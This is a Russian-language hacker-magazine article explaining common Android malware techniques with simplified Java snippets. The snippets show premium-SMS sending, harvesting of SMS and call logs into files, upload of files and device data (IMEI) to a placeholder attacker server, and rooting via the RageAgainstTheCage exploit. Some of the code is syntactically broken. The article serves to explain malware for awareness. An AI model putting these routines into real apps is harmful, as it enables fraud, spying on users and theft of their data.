В коллекции вредоносных Android-приложений некоторых антивирусных лабораторий содержится уже более 10 миллионов образцов. Эта цифра будоражит воображение, но примерно 9 миллионов 995 тысяч из них — переименованные копии оригинальных вирусов. Но если проанализировать исходный код оставшихся нескольких тысяч образцов малвари, то можно заметить, что все они комбинируются из небольшого количества уникальных функциональных блоков (несколько видоизмененных и по-разному скомбинированных).

Все дело в том, что вирмэйкеры чаще всего преследуют весьма тривиальные задачи:

• отправить эсэмэску на платный номер;
• завладеть конфиденциальной информацией пользователя (телефонными номерами, текстами сообщений, данными с SD-карты и так далее);
• собрать данные о зараженном устройстве;
• завладеть администраторскими правами на устройстве (для установки приложений без разрешения владельца или для злонамеренного выведения аппарата из строя);
• отследить логины, пароли и данные платежных карт, которые пользователь вводит на сайтах систем интернет-банкинга. 
Как они это делают? Попробуем проникнуть в мрачный мир мобильного вирмэйкинга и посмотреть, что там происходит.

Другие статьи в выпуске:

Хакер #183. Малварь для Android

• Содержание выпуска
• Подписка на «Хакер»-60%

Отправка SMS

Кто использует:

• AdSms;
• FakePlayer;
• HippoSms.

Самым распространенным типом вирусов являются SMS-трояны. Эти вирусы просто отправляют сообщения на платные номера без согласия пользователя. Создать такую программу или переписать готовую под нужный номер совсем легко. Да и процесс получения выгоды предельно упрощен — в отличие, например, от отслеживания банковских данных.

Далее приведен простейший пример кода. Это элементарная функция отправки SMS. Ее можно усложнить проверкой статуса отправки, выбором номеров в зависимости от места положения абонента и последующим удалением SMS.

private static SendSms (String DestNumber, String SmsText)
{
// Попытка запуска метода sendTextMessage объекта SmsManager (стандартная программа для отправки SMS у текущего устройства) с минимальным количеством параметров: номер получателя и текст сообщения
  try{     
        SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null);
        return true;
    }
 }

Запись пользовательской информации в текстовый файл

Кто использует:

• NickySpy;
• SmsSpy.

Существует категория вирусов, которая охотится за персональными данными пользователей. Механизм их действия также несложен. Они либо загружают на сервер своего создателя файлы юзера, либо предварительно собирают какие-либо данные в txt (CSV, XML — не принципиально). Интерес для злоумышленников могут представлять контакты любого типа, сообщения из разных мессенджеров, медиафайлы и прочее.

SMS зараженных юзеров особенно ценны номерами телефонов отправителей и получателей — ими можно пополнить базу для спам-рассылок. Реже вирусы такого рода используются для заражения устройств конкретных личностей — в следующий раз, когда твоя девушка предложит тебе протестировать написанное ей (ай, карамба! — Прим. ред.) приложение на Android, не теряй бдительности :).

// Считаем количество SMS на устройстве 
arrayOfObject = (Object[])localBundle.get("pdus");
int j=arrayOfObject.length;
// Обходим по циклу каждую SMS
i=1
while (true)
{
  if(i>=j)
  break;
  // Создаем объект SMS-сообщение
  SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte[])arrayOfObject[i]); 
  // Кладем в строковые переменные номер отправителя, текст и время отправки SMS
  String MessageNumber = localSmsMessage.getOriginatingAddress();
  String MessageText = localSmsMessage.getDisplayMessageBody();
  long l= localSmsMessage.getTimestampMillis();
  Date localDate=new Date(l);
  String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate);
  // Формируем из полученных данных строку и записываем ее в текстовый файл пользовательским методом WriteRec
  String MessageInfo= 7MessageNumber+"#"+ MessageText+"#"+ MessageTimeDate+";"
  WriteRec(paramContext,"sms.txt",MessageInfo);
  // Переходим к следующему сообщению
  i+=1;
}
Также спам-лист удобно пополнять из истории вызовов абонента. Вот такой код может запускаться при входящем звонке:
If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL"))
{
// Кладем в переменную номер абонента 
String phonenumber=paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER");
// Формируем строку из номера и даты звонка
String PhoneCallRecord= phonenumber +"#"+getSystemTime();
// Вызываем метод WriteRec() (его код здесь не приводится), который добавляет строку в текстовый файл с историей звонков 
WriteRec(paramContext,"phonecall.txt", PhoneCallRecord);
}

После того как информация записана, она переправляется в «нужные руки». Приведенный ниже код загружает историю звонков на сервер:

private void uploadPhonecallHistory()
 throws IDException
 {

  while(true)
  {
  return;
  // Проверяем, есть ли нужный нам файл
  if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt"))
  continue;
  // Создаем объект — загрузчик файлов
  UploadFiles localUploadFiles=new UploadFiles();
  String uploadkeynode=getKeyNode("uid","uid_v");
  // Запускаем метод .advanceduploadfile (его код здесь не приводится) для загрузки файла на сервер «вирусмейкера»
  localUploadFiles.advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt");
  }
  }

Сбор информации

Кто использует:

• DroidKungFu;
• DroidDream;
• подавляющее большинство малвари всех аналогичных.

В принципе, любому вирусмейкеру полезна информация о зараженных его программами устройствах. Получить ее очень просто. Создается массив с данными о свойствах телефона (их полный список можно посмотреть в руководстве Android-разработчика) и отправляется POST-запросом к PHP-скрипту (язык непринципиален) на сервере злоумышленника, тот обрабатывает данные и помещает их в базу данных для последующего использования.

private void reportState(int paramInt, string paramString)
{
// Создаем массив и кладем в него служебную информацию
ArrayList UserInformation=new ArrayList();
UserInformation.add(new BasicNameValuePair("imei", this.mImei));
UserInformation.add(new BasicNameValuePair("taskid", this.mTaskId));
UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt)));
// Если у функции определен параметр «paramString(комментарий)», кладем в массив и его
if(paramStrng !=null)&&(!"".equals(paramString)))
UserInformation.add(new BasicNameValuePair("comment", paramString));
// Создаем HTTP POST запрос с адресом скрипта, который осуществляет сбор данных
HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php");
try
{
// Добавляем в запрос наш массив с данными и выполняем его с помощью стандартного HTTP-клиента
localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8")));
new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode();
return;
}
}

Рутинг

Кто использует:

• DroidKungFu;
• DroidDream;
• RootSmart.

Одна из самых неприятных вещей, которая может произойти с Android-устройством, — это его рутинг вирусом. Ведь после этого зловредная программа может делать с ним что угодно: устанавливать другие вирусы, менять настройки аппаратного обеспечения. Совершается это действо путем последовательного запуска эксплойтов:

private void RootFunc()
{
ApplicationInfo localApplicationInfo =getApplicationInfo();
/*"ratc" — это копия знаменитого root-эксплойта Rage Against The Cage.
  Kiall — остановка всех процессов, запущенных текущим приложением.
  Gjsvro — эксплойт для приобретения прав udev (используются в Linux-системах для расширенной работы с аппаратным обеспечением и сетевыми интерфейсами).
  Все это копируем в нужное место
*/
Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc");
Utils.copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall");
Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro");
//И запускаем с помощью командной строки
Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc");
Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall");
Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/gjsvro");
new MyTread.start();
}

Заключение

Как мы видим из примеров, мобильный вирмейкинг технологической сложностью не отличается. Конечно, данные примеры упрощены под формат журнала — прежде всего, упущены обработчики ошибок и исключений, а также отдельные технические мелочи, отсутствие которых не помешает тебе понять принципы работы Android-малвари, но оградит от ненужных экспериментов. Ведь мы не поддерживаем создание вирусов, не так ли? 🙂